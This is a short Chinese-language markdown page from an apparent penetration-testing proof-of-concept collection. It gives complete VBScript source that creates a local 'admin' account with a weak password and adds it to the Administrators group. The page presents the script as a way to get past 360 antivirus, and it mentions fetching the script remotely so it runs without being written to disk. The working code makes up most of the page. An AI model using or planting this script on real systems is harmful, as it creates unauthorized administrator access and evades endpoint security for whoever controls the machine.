Penetration_Testing_POC/使用vbs脚本添加管理员用户.md

30 lines
716 B
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

正常执行命令添加用户会被360拦截如图
![](./img/69.png)
使用vbs添加用户绕过360成功添加:
![](./img/70.png)
项目`tools`目录也有添加add_user.vbs脚本可以配合远程下载执行无文件落地执行。
源码如下:
```vbscript
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","admin")
od.SetPassword "123456"
od.SetInfo
Set of=GetObject(os&"/admin",user)
oe.add os&"/admin"
```
注意密码复杂性,我项目里面的脚本密码是`Love@123456`
请合理使用资源来自https://mp.weixin.qq.com/s/yWTA8Q2GPwOMQBHph5srJQ